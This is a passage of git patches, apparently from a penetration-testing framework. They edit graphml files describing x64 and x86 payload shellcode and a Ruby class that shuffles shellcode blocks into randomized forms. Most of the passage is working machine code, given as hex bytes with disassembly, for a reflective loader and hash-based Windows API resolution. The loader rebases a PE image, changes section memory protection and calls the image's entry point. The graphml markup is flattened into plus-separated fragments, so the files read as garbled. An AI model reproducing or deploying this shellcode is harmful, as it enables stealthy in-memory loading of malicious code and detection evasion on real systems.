dword ptr [r14] + + + 0x1380 + instruction + 85c0 + test eax, eax + + + 0x1382 + instruction + 7504 + jne 0x1388 + + + + + + + + + 0x1384 + instructions-graph + + 0x1384 + instructions + + 0x1384 + instruction + 418b4610 + mov eax, dword ptr [r14 + 0x10] + + + + + 0x1388 + instructions-graph + + 0x1388 + instructions + + 0x1388 + instruction + 488b75d0 + mov rsi, qword ptr [rbp - 0x30] + + + 0x138c + instruction + 4801c6 + add rsi, rax + + + 0x138f + instruction + 418b4610 + mov eax, dword ptr [r14 + 0x10] + + + 0x1393 + instruction + 488b7dd0 + mov rdi, qword ptr [rbp - 0x30] + + + 0x1397 + instruction + 4801c7 + add rdi, rax + + + + + + + + + + 0x139a + instructions-graph + + 0x139a + instructions + + 0x139a + instruction + 488b06 + mov rax, qword ptr [rsi] + + + 0x139d + instruction + 4885c0 + test rax, rax + + + 0x13a0 + instruction + 744f + je 0x13f1 + + + + + + + 0x13a2 + instructions-graph + + 0x13a2 + instructions + + 0x13a2 + instruction + 48b90000000000000080 + movabs rcx, 0x8000000000000000 + + + 0x13ac + instruction + 4885c8 + test rax, rcx + + + 0x13af + instruction + 7521 + jne 0x13d2 + + + + + + + 0x13b1 + instructions-graph + + 0x13b1 + instructions + + 0x13b1 + instruction + 488b4dd0 + mov rcx, qword ptr [rbp - 0x30] + + + 0x13b5 + instruction + 4801c1 + add rcx, rax + + + 0x13b8 + instruction + 4883c102 + add rcx, 2 + + + 0x13bc + instruction + 4883ec28 + sub rsp, 0x28 + + + 0x13c0 + instruction + 4889ca + mov rdx, rcx + + + 0x13c3 + instruction + 4c89e9 + mov rcx, r13 + + + 0x13c6 + instruction + ff55f0 + call qword ptr [rbp - 0x10] + + + + + + + + + + + + + 0x13c9 + instructions-graph + + 0x13c9 + instructions + + 0x13c9 + instruction + 4883c428 + add rsp, 0x28 + + + 0x13cd + instruction + 488907 + mov qword ptr [rdi], rax + + + 0x13d0 + instruction + eb15 + jmp 0x13e7 + + + + + + + 0x13d2 + instructions-graph + + 0x13d2 + instructions + + 0x13d2 + instruction + 480fb716 + movzx rdx, word ptr [rsi] + + + 0x13d6 + instruction + 4883ec28 + sub rsp, 0x28 + + + 0x13da + instruction + 4c89e9 + mov rcx, r13 + + + 0x13dd + instruction + ff55f0 + call qword ptr [rbp - 0x10] + + + + + + + + 0x13e0 + instructions-graph + + 0x13e0 + instructions + + 0x13e0 + instruction + 4883c428 + add rsp, 0x28 + + + 0x13e4 + instruction + 488907 + mov qword ptr [rdi], rax + + + + + 0x13e7 + instructions-graph + + 0x13e7 + instructions + + 0x13e7 + instruction + 4883c608 + add rsi, 8 + + + 0x13eb + instruction + 4883c708 + add rdi, 8 + + + 0x13ef + instruction + eba9 + jmp 0x139a + + + + + + + 0x13f1 + instructions-graph + + 0x13f1 + instructions + + 0x13f1 + instruction + 4983c614 + add r14, 0x14 + + + 0x13f5 + instruction + e962ffffff + jmp 0x135c + + + + + + 0x13fa + instructions-graph + + 0x13fa + instructions + + 0x13fa + instruction + 488b45d0 + mov rax, qword ptr [rbp - 0x30] + + + 0x13fe + instruction + 498b4c2430 + mov rcx, qword ptr [r12 + 0x30] + + + 0x1403 + instruction + 4829c8 + sub rax, rcx + + + 0x1406 + instruction + 488945d8 + mov qword ptr [rbp - 0x28], rax + + + 0x140a + instruction + 418b8424b0000000 + mov eax, dword ptr [r12 + 0xb0] + + + 0x1412 + instruction + 85c0 + test eax, eax + + + 0x1414 + instruction + 7478 + je 0x148e + + + + + + + + + + + + + 0x1416 + instructions-graph + + 0x1416 + instructions + + 0x1416 + instruction + 418b8c24b4000000 + mov ecx, dword ptr [r12 + 0xb4] + + + 0x141e + instruction + 85c9 + test ecx, ecx + + + 0x1420 + instruction + 746c + je 0x148e + + + + + + + 0x1422 + instructions-graph + + 0x1422 + instructions + + 0x1422 + instruction + 4c8b75d0 + mov r14, qword ptr [rbp - 0x30] + + + 0x1426 + instruction + 4901c6 + add r14, rax + + + + + + 0x1429 + instructions-graph + + 0x1429 + instructions + + 0x1429 + instruction + 418b4604 + mov eax, dword ptr [r14 + 4] + + + 0x142d + instruction + 85c0 + test eax, eax + + + 0x142f + instruction + 745d + je 0x148e + + + + + + + 0x1431 + instructions-graph + + 0x1431 + instructions + + 0x1431 + instruction + 83e808 + sub eax, 8 + + + 0x1434 + instruction + d1e8 + shr eax, 1 + + + 0x1436 + instruction + 4189c7 + mov r15d, eax + + + 0x1439 + instruction + 418b06 + mov eax, dword ptr [r14] + + + 0x143c + instruction + 4c8b6dd0 + mov r13, qword ptr [rbp - 0x30] + + + 0x1440 + instruction + 4901c5 + add r13, rax + + + 0x1443 + instruction + 4d8d6608 + lea r12, [r14 + 8] + + + + + + + + + + + + 0x1447 + instructions-graph + + 0x1447 + instructions + + 0x1447 + instruction + 4585ff + test r15d, r15d + + + 0x144a + instruction + 7439 + je 0x1485 + + + + + + 0x144c + instructions-graph + + 0x144c + instructions + + 0x144c + instruction + 410fb70424 + movzx eax, word ptr [r12] + + + 0x1451 + instruction + 89c3 + mov ebx, eax + + + 0x1453 + instruction + c1eb0c + shr ebx, 0xc + + + 0x1456 + instruction + 25ff0f0000 + and eax, 0xfff + + + 0x145b + instruction + 83fb0a + cmp ebx, 0xa + + + 0x145e + instruction + 7407 + je 0x1467 + + + + + + + + + + + + + 0x1460 + instructions-graph + + 0x1460 + instructions + + 0x1460 + instruction + 83fb03 + cmp ebx, 3 + + + 0x1463 + instruction + 740d + je 0x1472 + + + + + + 0x1465 + instructions-graph + + 0x1465 + instructions + + 0x1465 + instruction + eb15 + jmp 0x147c + + + + + 0x1467 + instructions-graph + + 0x1467 + instructions + + 0x1467 + instruction + 488b55d8 + mov rdx, qword ptr [rbp - 0x28] + + + 0x146b + instruction + 4901540500 + add qword ptr [r13 + rax], rdx + + + 0x1470 + instruction + eb0a + jmp 0x147c + + + + + + + 0x1472 + instructions-graph + + 0x1472 + instructions + + 0x1472 + instruction + 8b55d8 + mov edx, dword ptr [rbp - 0x28] + + + 0x1475 + instruction + 4101540500 + add dword ptr [r13 + rax], edx + + + 0x147a + instruction + eb00 + jmp 0x147c + + + + + + 0x147c + instructions-graph + + 0x147c + instructions + + 0x147c + instruction + 4983c402 + add r12, 2 + + + 0x1480 + instruction + 41ffcf + dec r15d + + + 0x1483 + instruction + ebc2 + jmp 0x1447 + + + + + + + 0x1485 + instructions-graph + + 0x1485 + instructions + + 0x1485 + instruction + 418b4604 + mov eax, dword ptr [r14 + 4] + + + 0x1489 + instruction + 4901c6 + add r14, rax + + + 0x148c + instruction + eb9b + jmp 0x1429 + + + + + + + 0x148e + instructions-graph + + 0x148e + instructions + + 0x148e + instruction + 488b4dd0 + mov rcx, qword ptr [rbp - 0x30] + + + 0x1492 + instruction + 8b413c + mov eax, dword ptr [rcx + 0x3c] + + + 0x1495 + instruction + 4c8d2401 + lea r12, [rcx + rax] + + + 0x1499 + instruction + 490fb7442414 + movzx rax, word ptr [r12 + 0x14] + + + 0x149f + instruction + 4d8d6c0418 + lea r13, [r12 + rax + 0x18] + + + 0x14a4 + instruction + 450fb77c2406 + movzx r15d, word ptr [r12 + 6] + + + + + + + + + + + + + 0x14aa + instructions-graph + + 0x14aa + instructions + + 0x14aa + instruction + 4585ff + test r15d, r15d + + + 0x14ad + instruction + 0f8486000000 + je 0x1539 + + + + + + 0x14b3 + instructions-graph + + 0x14b3 + instructions + + 0x14b3 + instruction + 418b4508 + mov eax, dword ptr [r13 + 8] + + + 0x14b7 + instruction + 85c0 + test eax, eax + + + 0x14b9 + instruction + 7472 + je 0x152d + + + + + + + 0x14bb + instructions-graph + + 0x14bb + instructions + + 0x14bb + instruction + 418b4524 + mov eax, dword ptr [r13 + 0x24] + + + 0x14bf + instruction + c1e81d + shr eax, 0x1d + + + 0x14c2 + instruction + 83e007 + and eax, 7 + + + 0x14c5 + instruction + 488d1d06000000 + lea rbx, [rip + 6] + + + 0x14cc + instruction + 0fb61c03 + movzx ebx, byte ptr [rbx + rax] + + + 0x14d0 + instruction + eb08 + jmp 0x14da + + + + + + + + + + 0x14d2 + data + 0110022004400440 + + + 0x14da + instructions-graph + + 0x14da + instructions + + 0x14da + instruction + 4883ec48 + sub rsp, 0x48 + + + 0x14de + instruction + 418b450c + mov eax, dword ptr [r13 + 0xc] + + + 0x14e2 + instruction + 488b4dd0 + mov rcx, qword ptr [rbp - 0x30] + + + 0x14e6 + instruction + 4801c1 + add rcx, rax + + + 0x14e9 + instruction + 48894c2430 + mov qword ptr [rsp + 0x30], rcx + + + 0x14ee + instruction + 418b4508 + mov eax, dword ptr [r13 + 8] + + + 0x14f2 + instruction + 4889442438 + mov qword ptr [rsp + 0x38], rax + + + 0x14f7 + instruction + c744244000000000 + mov dword ptr [rsp + 0x40], 0 + + + 0x14ff + instruction + 48c7c1ffffffff + mov rcx, 0xffffffffffffffff + + + 0x1506 + instruction + 488d542430 + lea rdx, [rsp + 0x30] + + + 0x150b + instruction + 4c8d442438 + lea r8, [rsp + 0x38] + + + 0x1510 + instruction + 4189d9 + mov r9d, ebx + + + 0x1513 + instruction + 488d442440 + lea rax, [rsp + 0x40] + + + 0x1518 + instruction + 4889442420 + mov qword ptr [rsp + 0x20], rax + + + 0x151d + instruction + 4c8b9568ffffff + mov r10, qword ptr [rbp - 0x98] + + + 0x1524 + instruction + e8b5000000 + call 0x15de + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0x1529 + instructions-graph + + 0x1529 + instructions + + 0x1529 + instruction + 4883c448 + add rsp, 0x48 + + + + + 0x152d + instructions-graph + + 0x152d + instructions + + 0x152d + instruction + 4983c528 + add r13, 0x28 + + + 0x1531 + instruction + 41ffcf + dec r15d + + + 0x1534 + instruction + e971ffffff + jmp 0x14aa + + + + + + + 0x1539 + instructions-graph + + 0x1539 + instructions + + 0x1539 + instruction + 488b4dd0 + mov rcx, qword ptr [rbp - 0x30] + + + 0x153d + instruction + 8b413c + mov eax, dword ptr [rcx + 0x3c] + + + 0x1540 + instruction + 4c8d2401 + lea r12, [rcx + rax] + + + 0x1544 + instruction + 418b442428 + mov eax, dword ptr [r12 + 0x28] + + + 0x1549 + instruction + 4c8b6dd0 + mov r13, qword ptr [rbp - 0x30] + + + 0x154d + instruction + 4901c5 + add r13, rax + + + 0x1550 + instruction + 4883ec28 + sub rsp, 0x28 + + + 0x1554 + instruction + 48c7c1ffffffff + mov rcx, 0xffffffffffffffff + + + 0x155b + instruction + 4831d2 + xor rdx, rdx + + + 0x155e + instruction + 4531c0 + xor r8d, r8d + + + 0x1561 + instruction + ff55e0 + call qword ptr [rbp - 0x20] + + + + + + + + + + + + + + + + + + + + + 0x1564 + instructions-graph + + 0x1564 + instructions + + 0x1564 + instruction + 4883c428 + add rsp, 0x28 + + + 0x1568 + instruction + 4883ec28 + sub rsp, 0x28 + + + 0x156c + instruction + 488b4dd0 + mov rcx, qword ptr [rbp - 0x30] + + + 0x1570 + instruction + ba01000000 + mov edx, 1 + + + 0x1575 + instruction + 4531c0 + xor r8d, r8d + + + 0x1578 + instruction + 41ffd5 + call r13 + + + + + + + + + + + 0x157b + instructions-graph + + 0x157b + instructions + + 0x157b + instruction + 4883c428 + add rsp, 0x28 + + + 0x157f + instruction + 4c89e8 + mov rax, r13 + + + 0x1582 + instruction + 415f + pop r15 + + + 0x1584 + instruction + 415e + pop r14 + + + 0x1586 + instruction + 415d + pop r13 + + + 0x1588 + instruction + 415c + pop r12 + + + 0x158a + instruction + 5f + pop rdi + + + 0x158b + instruction + 5e + pop rsi + + + 0x158c + instruction + 5b + pop rbx + + + 0x158d + instruction + 4889ec + mov rsp, rbp + + + 0x1590 + instruction + 5d + pop rbp + + + 0x1591 + instruction + c3 + ret + + + + + + + + + + + + + + + + 0x1592 + instructions-graph + + 0x1592 + instructions + + 0x1592 + instruction + 418b453c + mov eax, dword ptr [r13 + 0x3c] + + + 0x1596 + instruction + 498d5c0500 + lea rbx, [r13 + rax] + + + 0x159b + instruction + 8b8388000000 + mov eax, dword ptr [rbx + 0x88] + + + 0x15a1 + instruction + 498d4c0500 + lea rcx, [r13 + rax] + + + 0x15a6 + instruction + 48894dc0 + mov qword ptr [rbp - 0x40], rcx + + + 0x15aa + instruction + 8b4118 + mov eax, dword ptr [rcx + 0x18] + + + 0x15ad + instruction + 48894590 + mov qword ptr [rbp - 0x70], rax + + + 0x15b1 + instruction + 8b4120 + mov eax, dword ptr [rcx + 0x20] + + + 0x15b4 + instruction + 498d440500 + lea rax, [r13 + rax] + + + 0x15b9 + instruction + 488945b8 + mov qword ptr [rbp - 0x48], rax + + + 0x15bd + instruction + 8b4124 + mov eax, dword ptr [rcx + 0x24] + + + 0x15c0 + instruction + 498d440500 + lea rax, [r13 + rax] + + + 0x15c5 + instruction + 488945b0 + mov qword ptr [rbp - 0x50], rax + + + 0x15c9 + instruction + c3 + ret + + + + + + + + + + + + + + + + + + + + + + + + + 0x15ca + instructions-graph + + 0x15ca + instructions + + 0x15ca + instruction + 31c0 + xor eax, eax + + + + + 0x15cc + instructions-graph + + 0x15cc + instructions + + 0x15cc + instruction + 0fb619 + movzx ebx, byte ptr [rcx] + + + 0x15cf + instruction + 85db + test ebx, ebx + + + 0x15d1 + instruction + 740a + je 0x15dd + + + + + + + 0x15d3 + instructions-graph + + 0x15d3 + instructions + + 0x15d3 + instruction + c1c80d + ror eax, 0xd + + + 0x15d6 + instruction + 01d8 + add eax, ebx + + + 0x15d8 + instruction + 48ffc1 + inc rcx + + + 0x15db + instruction + ebef + jmp 0x15cc + + + + + + + + + 0x15dd + instructions-graph + + 0x15dd + instructions + + 0x15dd + instruction + c3 + ret + + + + + 0x15de + instructions-graph + + 0x15de + instructions + + 0x15de + instruction + 418b4204 + mov eax, dword ptr [r10 + 4] + + + 0x15e2 + instruction + 4d8d5a08 + lea r11, [r10 + 8] + + + 0x15e6 + instruction + 4989ca + mov r10, rcx + + + 0x15e9 + instruction + 41ffe3 + jmp r11 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + From 56e283ac651609eadd20d68cdd5c752360966d7a Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Fri, 20 Mar 2026 15:19:42 -0400 Subject: [PATCH 05/15] Patch the graphml files "block" isn't a valid type of blocks any more, now it's instructions and data. --- data/shellcode/block_api.x64.graphml | 164 ++++++++++--------- data/shellcode/block_api.x86.graphml | 236 +++++++++++++++------------ 2 files changed, 213 insertions(+), 187 deletions(-) diff --git a/data/shellcode/block_api.x64.graphml b/data/shellcode/block_api.x64.graphml index a10c598ec166c..b1160d28b82ee 100644 --- a/data/shellcode/block_api.x64.graphml +++ b/data/shellcode/block_api.x64.graphml @@ -7,10 +7,10 @@ 0x1000 - block + instructions-graph 0x1000 - block + instructions 0x1000 instruction @@ -77,10 +77,10 @@ 0x1017 - block + instructions-graph 0x1017 - block + instructions 0x1017 instruction @@ -101,14 +101,14 @@ - - 0x1026 - block + + 0x1023 + instructions-graph - 0x1026 - block - - 0x1026 + 0x1023 + instructions + + 0x1023 instruction 4831c0 xor rax, rax @@ -136,28 +136,28 @@ - - 0x102e - block + + 0x102b + instructions-graph - 0x102e - block - - 0x102e + 0x102b + instructions + + 0x102b instruction 2c20 sub al, 0x20 - - 0x1030 - block + + 0x102d + instructions-graph - 0x1030 - block - - 0x1030 + 0x102d + instructions + + 0x102d instruction 41c1c90d ror r9d, 0xd @@ -178,14 +178,14 @@ - - 0x1039 - block + + 0x1036 + instructions-graph - 0x1039 - block - - 0x1039 + 0x1036 + instructions + + 0x1036 instruction 52 push rdx @@ -236,14 +236,14 @@ - - 0x104e - block + + 0x104b + instructions-graph - 0x104e - block - - 0x104e + 0x104b + instructions + + 0x104b instruction 8b8088000000 mov eax, dword ptr [rax + 0x88] @@ -264,14 +264,14 @@ - - 0x1059 - block + + 0x1056 + instructions-graph - 0x1059 - block - - 0x1059 + 0x1056 + instructions + + 0x1056 instruction 4801d0 add rax, rdx @@ -306,28 +306,28 @@ - - 0x1067 - block + + 0x1064 + instructions-graph - 0x1067 - block - - 0x1067 + 0x1064 + instructions + + 0x1064 instruction e353 jrcxz 0x10bc - - 0x1069 - block + + 0x1066 + instructions-graph - 0x1069 - block - - 0x1069 + 0x1066 + instructions + + 0x1066 instruction 48ffc9 dec rcx @@ -355,14 +355,14 @@ - - 0x1078 - block + + 0x1073 + instructions-graph - 0x1078 - block - - 0x1078 + 0x1073 + instructions + + 0x1073 instruction 4831c0 xor rax, rax @@ -408,13 +408,19 @@ - - 0x1087 - block + + 0x1082 + instructions-graph - 0x1087 - block - + 0x1082 + instructions + + 0x1082 + instruction + 4c034c2408 + add r9, qword ptr [rsp + 8] + + 0x1087 instruction 4539d1 @@ -431,10 +437,10 @@ 0x108c - block + instructions-graph 0x108c - block + instructions 0x108c instruction @@ -585,10 +591,10 @@ 0x10bc - block + instructions-graph 0x10bc - block + instructions 0x10bc instruction @@ -599,10 +605,10 @@ 0x10bd - block + instructions-graph 0x10bd - block + instructions 0x10bd instruction diff --git a/data/shellcode/block_api.x86.graphml b/data/shellcode/block_api.x86.graphml index 363ee7f9eb97a..863385a014723 100644 --- a/data/shellcode/block_api.x86.graphml +++ b/data/shellcode/block_api.x86.graphml @@ -7,10 +7,10 @@ 0x1000 - block + instructions-graph 0x1000 - block + instructions 0x1000 instruction @@ -56,10 +56,10 @@ 0x100f - block + instructions-graph 0x100f - block + instructions 0x100f instruction @@ -80,14 +80,14 @@ - - 0x101b - block + + 0x1018 + instructions-graph - 0x101b - block - - 0x101b + 0x1018 + instructions + + 0x1018 instruction 31c0 xor eax, eax @@ -115,28 +115,28 @@ - - 0x1022 - block + + 0x101f + instructions-graph - 0x1022 - block - - 0x1022 + 0x101f + instructions + + 0x101f instruction 2c20 sub al, 0x20 - - 0x1024 - block + + 0x1021 + instructions-graph - 0x1024 - block - - 0x1024 + 0x1021 + instructions + + 0x1021 instruction c1cf0d ror edi, 0xd @@ -164,14 +164,14 @@ - - 0x102c - block + + 0x1029 + instructions-graph - 0x102c - block - - 0x102c + 0x1029 + instructions + + 0x1029 instruction 52 push edx @@ -229,14 +229,14 @@ - - 0x103d - block + + 0x103a + instructions-graph - 0x103d - block - - 0x103d + 0x103a + instructions + + 0x103a instruction 01d0 add eax, edx @@ -271,14 +271,14 @@ - - 0x1048 - block + + 0x1045 + instructions-graph - 0x1048 - block - - 0x1048 + 0x1045 + instructions + + 0x1045 instruction 85c9 test ecx, ecx @@ -292,14 +292,14 @@ - - 0x104c - block + + 0x1049 + instructions-graph - 0x104c - block - - 0x104c + 0x1049 + instructions + + 0x1049 instruction 49 dec ecx @@ -327,14 +327,14 @@ - - 0x1055 - block + + 0x1051 + instructions-graph - 0x1055 - block - - 0x1055 + 0x1051 + instructions + + 0x1051 instruction 31c0 xor eax, eax @@ -379,14 +379,20 @@ - - 0x1061 - block + + 0x105d + instructions-graph - 0x1061 - block - - 0x1061 + 0x105d + instructions + + 0x105d + instruction + 037df8 + add edi, dword ptr [ebp - 8] + + + 0x1060 instruction 3b7d24 cmp edi, dword ptr [ebp + 0x24] @@ -400,14 +406,14 @@ - - 0x1066 - block + + 0x1065 + instructions-graph - 0x1066 - block - - 0x1066 + 0x1065 + instructions + + 0x1065 instruction 58 pop eax @@ -502,46 +508,60 @@ ffe0 jmp eax - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0x1085 + instructions-graph + + 0x1085 + instructions + + 0x1085 + instruction + 58 + pop eax + 0x1086 - block + instructions-graph 0x1086 - block + instructions 0x1086 instruction From 979151a5a1aaa8412a220f3bce9abf03d4256d1a Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Fri, 20 Mar 2026 15:17:11 -0400 Subject: [PATCH 06/15] Update the shuffle class for data blocks --- lib/rex/payloads/shuffle.rb | 42 +++++++++++++++++++++++++------------ 1 file changed, 29 insertions(+), 13 deletions(-) diff --git a/lib/rex/payloads/shuffle.rb b/lib/rex/payloads/shuffle.rb index ade9acfac79f3..de1b43a54fe89 100644 --- a/lib/rex/payloads/shuffle.rb +++ b/lib/rex/payloads/shuffle.rb @@ -23,11 +23,19 @@ class Shuffle # @param name [String] An optional symbol name to apply to the assembly source. def self.from_graphml_file(file_path, arch: nil, name: nil) graphml = Rex::Parser::GraphML.from_file(file_path) - blocks = create_path(graphml.nodes.select { |_id,node| node.attributes['type'] == 'block' }, graphml.graphs[0].edges) - blocks.map! { |block| { node: block, instructions: process_block(block) } } + blocks = create_path(graphml.nodes.select { |_id,node| %w[ data instructions-graph ].include?(node.attributes['type']) }, graphml.graphs[0].edges) + blocks.map! do |block| + hash = { node: block } + + if block.attributes['type'] == 'instructions-graph' + hash[:instructions] = process_instructions_graph_block(block) + end + + hash + end label_prefix = Rex::Text.rand_text_alpha_lower(4) - labeler = lambda { |address| "loc_#{label_prefix}#{ address.to_s(16).rjust(4, '0') }" } + labeler = lambda { |address| "loc_#{label_prefix}#{address.to_s(16).rjust(4, '0')}" } source_lines = [] labeled = [] @@ -36,22 +44,30 @@ def self.from_graphml_file(file_path, arch: nil, name: nil) if [ Rex::Arch::ARCH_X86, Rex::Arch::ARCH_X64 ].include? arch source_lines << labeler.call(block[:node].attributes['address']) + ':' labeled << block[:node].attributes['address'] - # by default use the raw binary instruction to avoid syntax compatibility issues with metasm - instructions = block[:instructions].map { |node| 'db ' + node.attributes['instruction.hex'].strip.chars.each_slice(2).map { |hex| '0x' + hex.join }.join(', ') } + case block[:node].attributes['type'] + when 'data' + instructions = [ 'db ' + block[:node].attributes['data.hex'].strip.chars.each_slice(2).map { |hex| '0x' + hex.join }.join(', ') ] + when 'instructions-graph' + # by default use the raw binary instruction to avoid syntax compatibility issues with metasm + instructions = block[:instructions].map { |node| 'db ' + node.attributes['instruction.hex'].strip.chars.each_slice(2).map { |hex| '0x' + hex.join }.join(', ') } + end else instructions = block[:instructions].map { |node| node.attributes['instruction.source'] } end + unless arch.nil? raise ArgumentError, 'Unsupported architecture' if FLOW_INSTRUCTIONS[arch].nil? - # if a supported architecture was specified, use the original source and apply the necessary labels - block[:instructions].each_with_index do |node, index| - next unless match = /^(?\S+)\s+(?
0x[a-f0-9]+)$/.match(node.attributes['instruction.source']) - next unless FLOW_INSTRUCTIONS[arch].include? match[:mnemonic] + if block[:node].attributes['type'] == 'instructions-graph' + # if a supported architecture was specified, use the original source and apply the necessary labels + block[:instructions].each_with_index do |node, index| + next unless match = /^(?\S+)\s+(?
0x[a-f0-9]+)$/.match(node.attributes['instruction.source']) + next unless FLOW_INSTRUCTIONS[arch].include? match[:mnemonic] - address = Integer(match[:address]) - instructions[index] = "#{match[:mnemonic]} #{labeler.call(address)}" - label_refs << address + address = Integer(match[:address]) + instructions[index] = "#{match[:mnemonic]} #{labeler.call(address)}" + label_refs << address + end end end @@ -75,7 +91,7 @@ class << self # Process the specified graph element which represents a single basic block in assembly. This graph element # contains nodes representing each of its instructions. # - def process_block(block) + def process_instructions_graph_block(block) subgraph = block.subgraph instructions = subgraph.nodes.select { |_id, node| node.attributes['type'] == 'instruction' } create_path(instructions, subgraph.edges) From 41beeeb1dce2a2988f313dc0b152c8a8d44f76b1 Mon Sep 17 00:00:00 2001 From: jbx81-1337 Date: Thu, 14 May 2026 14:48:37 +0200 Subject: [PATCH 07/15] fix: working reflective loader x64 graphml --- data/shellcode/reflective_loader.x64.graphml | 846 ++++++++++--------- 1 file changed, 449 insertions(+), 397 deletions(-) diff --git a/data/shellcode/reflective_loader.x64.graphml b/data/shellcode/reflective_loader.x64.graphml index cb6d543b60f85..ceadb6456e02c 100644 --- a/data/shellcode/reflective_loader.x64.graphml +++ b/data/shellcode/reflective_loader.x64.graphml @@ -134,6 +134,7 @@ + @@ -149,7 +150,7 @@ - + @@ -363,6 +364,9 @@ 488b4020 mov rax, qword ptr [rax + 0x20] + + + @@ -418,7 +422,7 @@ 0f84e9010000 je 0x1290 - + @@ -611,10 +615,11 @@ 0x10ef instruction - e89e040000 - call 0x1592 + e89a040000 + call 0x158e + @@ -700,14 +705,17 @@ 0x111d instruction - e8a8040000 - call 0x15ca + e8a4040000 + call 0x15c6 + + + @@ -931,6 +939,7 @@ je 0x1260 + @@ -993,10 +1002,11 @@ 0x11a4 instruction - e8e9030000 - call 0x1592 + e8e5030000 + call 0x158e + @@ -1082,14 +1092,17 @@ 0x11d2 instruction - e8f3030000 - call 0x15ca + e8ef030000 + call 0x15c6 + + + @@ -1376,6 +1389,7 @@ je 0x1260 + @@ -1684,20 +1698,22 @@ 0x12e9 instruction - e8f0020000 - call 0x15de + e892020000 + call 0x1580 + + - + @@ -1718,6 +1734,7 @@ + @@ -1766,6 +1783,8 @@ + + @@ -2037,6 +2056,7 @@ call qword ptr [rbp - 8] + @@ -2245,6 +2265,7 @@ call qword ptr [rbp - 0x10] + @@ -2436,6 +2457,7 @@ + @@ -2864,741 +2886,770 @@ 0x14ad instruction - 0f8486000000 - je 0x1539 + 7478 + je 0x1527 - - 0x14b3 + + 0x14af instructions-graph - 0x14b3 + 0x14af instructions - - 0x14b3 + + 0x14af instruction 418b4508 mov eax, dword ptr [r13 + 8] - - 0x14b7 + + 0x14b3 instruction 85c0 test eax, eax - - 0x14b9 + + 0x14b5 instruction - 7472 - je 0x152d + 7467 + je 0x151e - - + + - - 0x14bb + + 0x14b7 instructions-graph - 0x14bb + 0x14b7 instructions - - 0x14bb + + 0x14b7 instruction 418b4524 mov eax, dword ptr [r13 + 0x24] - - 0x14bf + + 0x14bb instruction c1e81d shr eax, 0x1d - - 0x14c2 + + 0x14be instruction 83e007 and eax, 7 - - 0x14c5 - instruction - 488d1d06000000 - lea rbx, [rip + 6] - - - 0x14cc - instruction - 0fb61c03 - movzx ebx, byte ptr [rbx + rax] - - - 0x14d0 + + 0x14c1 instruction - eb08 - jmp 0x14da + e914010000 + jmp 0x15da - - - - - + + + - - 0x14d2 - data - 0110022004400440 - - - 0x14da + + 0x14c6 instructions-graph - 0x14da + 0x14c6 instructions - - 0x14da + + 0x14c6 + instruction + 5b + pop rbx + + + 0x14c7 + instruction + 0fb61c03 + movzx ebx, byte ptr [rbx + rax] + + + 0x14cb instruction 4883ec48 sub rsp, 0x48 - - 0x14de + + 0x14cf instruction 418b450c mov eax, dword ptr [r13 + 0xc] - - 0x14e2 + + 0x14d3 instruction 488b4dd0 mov rcx, qword ptr [rbp - 0x30] - - 0x14e6 + + 0x14d7 instruction 4801c1 add rcx, rax - - 0x14e9 + + 0x14da instruction 48894c2430 mov qword ptr [rsp + 0x30], rcx - - 0x14ee + + 0x14df instruction 418b4508 mov eax, dword ptr [r13 + 8] - - 0x14f2 + + 0x14e3 instruction 4889442438 mov qword ptr [rsp + 0x38], rax - - 0x14f7 + + 0x14e8 instruction c744244000000000 mov dword ptr [rsp + 0x40], 0 - - 0x14ff + + 0x14f0 instruction 48c7c1ffffffff mov rcx, 0xffffffffffffffff - - 0x1506 + + 0x14f7 instruction 488d542430 lea rdx, [rsp + 0x30] - - 0x150b + + 0x14fc instruction 4c8d442438 lea r8, [rsp + 0x38] - - 0x1510 + + 0x1501 instruction 4189d9 mov r9d, ebx - - 0x1513 + + 0x1504 instruction 488d442440 lea rax, [rsp + 0x40] - - 0x1518 + + 0x1509 instruction 4889442420 mov qword ptr [rsp + 0x20], rax - - 0x151d + + 0x150e instruction 4c8b9568ffffff mov r10, qword ptr [rbp - 0x98] - - 0x1524 - instruction - e8b5000000 - call 0x15de - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 0x1529 - instructions-graph - - 0x1529 - instructions - - 0x1529 + + 0x1515 + instruction + e866000000 + call 0x1580 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0x151a + instructions-graph + + 0x151a + instructions + + 0x151a instruction 4883c448 add rsp, 0x48 - - 0x152d + + 0x151e instructions-graph - 0x152d + 0x151e instructions - - 0x152d + + 0x151e instruction 4983c528 add r13, 0x28 - - 0x1531 + + 0x1522 instruction 41ffcf dec r15d - - 0x1534 + + 0x1525 instruction - e971ffffff + eb83 jmp 0x14aa - - + + - - 0x1539 + + 0x1527 instructions-graph - 0x1539 + 0x1527 instructions - - 0x1539 + + 0x1527 instruction 488b4dd0 mov rcx, qword ptr [rbp - 0x30] - - 0x153d + + 0x152b instruction 8b413c mov eax, dword ptr [rcx + 0x3c] - - 0x1540 + + 0x152e instruction 4c8d2401 lea r12, [rcx + rax] - - 0x1544 + + 0x1532 instruction 418b442428 mov eax, dword ptr [r12 + 0x28] - - 0x1549 + + 0x1537 instruction 4c8b6dd0 mov r13, qword ptr [rbp - 0x30] - - 0x154d + + 0x153b instruction 4901c5 add r13, rax - - 0x1550 + + 0x153e instruction 4883ec28 sub rsp, 0x28 - - 0x1554 + + 0x1542 instruction 48c7c1ffffffff mov rcx, 0xffffffffffffffff - - 0x155b + + 0x1549 instruction 4831d2 xor rdx, rdx - - 0x155e + + 0x154c instruction 4531c0 xor r8d, r8d - - 0x1561 + + 0x154f instruction ff55e0 call qword ptr [rbp - 0x20] - - - - - - - - - - - - - - - - - - - - 0x1564 - instructions-graph - - 0x1564 - instructions - - 0x1564 + + + + + + + + + + + + + + + + + + + + + + + + 0x1552 + instructions-graph + + 0x1552 + instructions + + 0x1552 instruction 4883c428 add rsp, 0x28 - - 0x1568 + + 0x1556 instruction 4883ec28 sub rsp, 0x28 - - 0x156c + + 0x155a instruction 488b4dd0 mov rcx, qword ptr [rbp - 0x30] - - 0x1570 + + 0x155e 